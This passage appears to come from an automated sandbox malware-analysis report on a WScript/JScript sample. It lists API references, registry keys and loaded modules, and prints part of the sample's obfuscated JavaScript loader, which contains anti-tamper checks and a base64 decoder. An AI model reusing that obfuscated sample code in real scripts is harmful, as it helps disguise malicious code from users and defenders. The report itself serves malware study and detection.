reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "InitializeAcl"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "StartServiceW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "NdrClientCall3"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "UuidToStringW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "UuidFromStringW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMappingW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "VirtualLock"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatus"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CancelSynchronousIo"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpool"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "StartThreadpoolIo"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpool"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolIo"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolIoCallbacks"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CancelThreadpoolIo"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWorkCallbacks"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMinimum"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWaitCallbacks"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMaximum"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolIo"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp")31:T405,Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006996.00000000.69007.0C855000.00000002.mdmp, 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp")32:Tbc3,"\Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00006996.00000000.69007.0BB10000.00000002.mdmp "Software\Microsoft\RegEdt32" in Source: 00000000-00006996.00000000.69007.0BB10000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CLOCK" in Source: 00000000-00006996.00000000.69007.0BB10000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Devices" in Source: 00000000-00006996.00000000.69007.0BB10000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\EXTENSIONS" in Source: 00000000-00006996.00000000.69007.0BB10000.00000002.mdmp "SOFTWARE\\MICROSOFT\\CHARMAP" in Source: 00000000-00006996.00000000.69007.0BB10000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\NETWORK\\PERSISTENT CONNECTIONS" in Source: 00000000-00006996.00000000.69007.0BB10000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\PrinterPorts" in Source: 00000000-00006996.00000000.69007.0BB10000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TRUETYPE" in Source: 00000000-00006996.00000000.69007.0BB10000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TWAIN" in Source: 00000000-00006996.00000000.69007.0BB10000.00000002.mdmp "SOFTWARE\\MICROSOFT\\WINDOWS HELP" in Source: 00000000-00006996.00000000.69007.0BB10000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows" in Source: 00000000-00006996.00000000.69007.0BB10000.00000002.mdmp "Software\Microsoft\Windows Script Host\Settings" in Source: 00000000-00006996.00000000.69007.0C855000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006996.00000000.69007.0C855000.00000002.mdmp "SOFTWARE\Classes\%s\%s" in Source: 00000000-00006996.00000000.69007.0C855000.00000002.mdmp "\Registry\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{FA445657-9379-11D6-B41A-00065B83EE53}" in Source: 00000000-00006996.00000000.69007.4B2E0000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp "HKLM\" in Source: 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00006996.00000000.69007.B98C8000.00000002.mdmp33:T9a0,"WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base cab70000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base cab70000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base cab70000 "WScript.exe" loaded module "KERNEL32" at base cc220000 "WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base bab20000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base c8f30000 "WScript.exe" loaded module "RPCRT4.DLL" at base cca30000 "WScript.exe" loaded module "KERNEL32.DLL" at base cc220000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT.DLL" at base ba9b0000 "WScript.exe" loaded module "AMSI.DLL" at base c5910000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base c59d0000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base b8e80000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\BTOW48XJ.DLL" at base ba630000 "WScript.exe" loaded module "WLDP.DLL" at base c9920000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base ccb80000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base cae80000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base c9d30000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base bf320000 "WScript.exe" loaded module "OLE32.DLL" at base cc3b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base caf00000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base bf300000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base baae0000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base b9840000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base cc220000 "WScript.exe" loaded module "USERENV.DLL" at base ca7f0000 "WScript.exe" loaded module "VERSION.DLL" at base c59d0000 "WScript.exe" loaded module "OLEAUT32.DLL" at base cbf60000 "WScript.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base ce3b0000 "WScript.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base ce3b0000 "WScript.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base cc5b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base ce240000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base cc3b000034:T100e,Output: "(function(_0x21e78e, _0x103fa1) { var _0x1b0e95 = function(_0x5e0d3a) { while (--_0x5e0d3a) { _0x21e78e['push'](_0x21e78e['shift']()); } }; var _0x178e01 = function() { var _0x3e70cc = { 'data': { 'key': 'cookie', 'value': 'timeout' }, 'setCookie': function(_0x553f4f, _0xccc554, _0x4a793a, _0x2b7c94) { _0x2b7c94 = _0x2b7c94 || {}; var _0x3e7e5f = _0xccc554 + '=' + _0x4a793a; var _0x40161d = 0x0; for (var _0x40161d = 0x0, _0x5e5cde = _0x553f4f['length']; _0x40161d < _0x5e5cde; _0x40161d++) { var _0x318b34 = _0x553f4f[_0x40161d]; _0x3e7e5f += ';\x20' + _0x318b34; var _0x54a2b7 = _0x553f4f[_0x318b34]; _0x553f4f['push'](_0x54a2b7); _0x5e5cde = _0x553f4f['length']; if (_0x54a2b7 !== !![]) { _0x3e7e5f += '=' + _0x54a2b7; } } _0x2b7c94['cookie'] = _0x3e7e5f; }, 'removeCookie': function() { return 'dev'; }, 'getCookie': function(_0x5ca41f, _0x528810) { _0x5ca41f = _0x5ca41f || function(_0x3a420e) { return _0x3a420e; }; var _0x1c35af = _0x5ca41f(new RegExp('(?:^|;\x20)' + _0x528810['replace'](/([.$?*|{}()[]\/+^])/g, '$1') + '=([^;]*)')); var _0x31ed10 = function(_0x5e4db0, _0x22fc03) { _0x5e4db0(++_0x22fc03); }; _0x31ed10(_0x1b0e95, _0x103fa1); return _0x1c35af ? decodeURIComponent(_0x1c35af[0x1]) : undefined; } }; var _0x2520fb = function() { var _0x462f45 = new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}'); return _0x462f45['test'](_0x3e70cc['removeCookie']['toString']()); }; _0x3e70cc['updateCookie'] = _0x2520fb; var _0x6d20e5 = ''; var _0x81259 = _0x3e70cc['updateCookie'](); if (!_0x81259) { _0x3e70cc['setCookie'](['*'], 'counter', 0x1); } else if (_0x81259) { _0x6d20e5 = _0x3e70cc['getCookie'](null, 'counter'); } else { _0x3e70cc['removeCookie'](); } }; _0x178e01(); }(_0x4213, 0x1c2)); var _0x3841 = function(_0x31d24e, _0x205c06) { _0x31d24e = _0x31d24e - 0x0; var _0x1d0c3a = _0x4213[_0x31d24e]; if (_0x3841['goEGBN'] === undefined) { (function() { var _0x3fbb7d; try { var _0x2b2a50 = Function('return\x20(function()\x20' + '{}.constructor(\x22return\x20this\x22)(\x20)' + ');'); _0x3fbb7d = _0x2b2a50(); } catch (_0xc496f2) { _0x3fbb7d = window; } var _0x5d4414 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; _0x3fbb7d['atob'] || (_0x3fbb7d['atob'] = function(_0x39cbc6) { var _0x5779b6 = String(_0x39cbc6)['replace'](/=+$/, ''); for (var _0x51adc9 = 0x0, _0x320dd3, _0x4591cf, _0x584800 = 0x0, _0x29062a = ''; _0x4591cf = _0x5779b6['charAt'](_0x584800++); ~_0x4591cf && (_0x320dd3 = _0x51adc9 % 0x4 ? _0x320dd3 * 0x40 + _0x4591cf : _0x4591cf, _0x51adc9++ % 0x4) ? _0x29062a += String['fromCharCode'](0xff & _0x320dd3 >> (-0x2 * _0x51adc9 & 0x6)) : 0x0) { _0x4591cf = _0x5d4414['indexOf'](_0x4591cf); } return _0x29062a; }); }()); _0x3841['GrvBuA'] = function(_0x3cdaf5) { var _0x1aa986 = atob(_0x3cdaf5); var _0x166613 = []; for (var _0xb92bd9 = 0x0, _0x2711c4 = _0x1aa986['length']; _0xb92bd9 < _0x2711c4; _0xb92bd9++) { _0x166613 += '%' + ('00' + _0x1aa986['charCodeAt'](_0xb92bd9)['toString'](0x10))['slice'](-0x2); ..."35:T65c,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\POLICIES\MICROSOFT\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "")36:Tf58,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEFILTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DISABLEHEAPLOOKASIDE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "FRONTENDHEAPDEBUGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SHUTDOWNFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "UNLOADEVENTTRACEDEPTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXLOADERTHREADS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEIMPERSONATEDDEVICEMAP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACINGFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CFGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MINIMUMSTACKCOMMITINBYTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "BREAKONINITIALIZEPROCESSFAILURE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "KEEPACTIVATIONCONTEXTSALIVE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACKACTIVATIONCONTEXTRELEASES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXDEADACTIVATIONCONTEXTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "GLOBALFLAG"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DEBUGPROCESSHEAPONLY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SEARCHPATHMODE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "")37:T975,Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport:\users\hapubws\appdata\local\microsoft\windows" - Source: "00000000-00006996.00000000.69007.4D090000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006996.00000000.69007.B8E92000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00006996.00000000.69007.B98C8000.00000002.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllmpconfigut-53e7e780-2330-40c6-94c6-be75e946e933oftware\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: 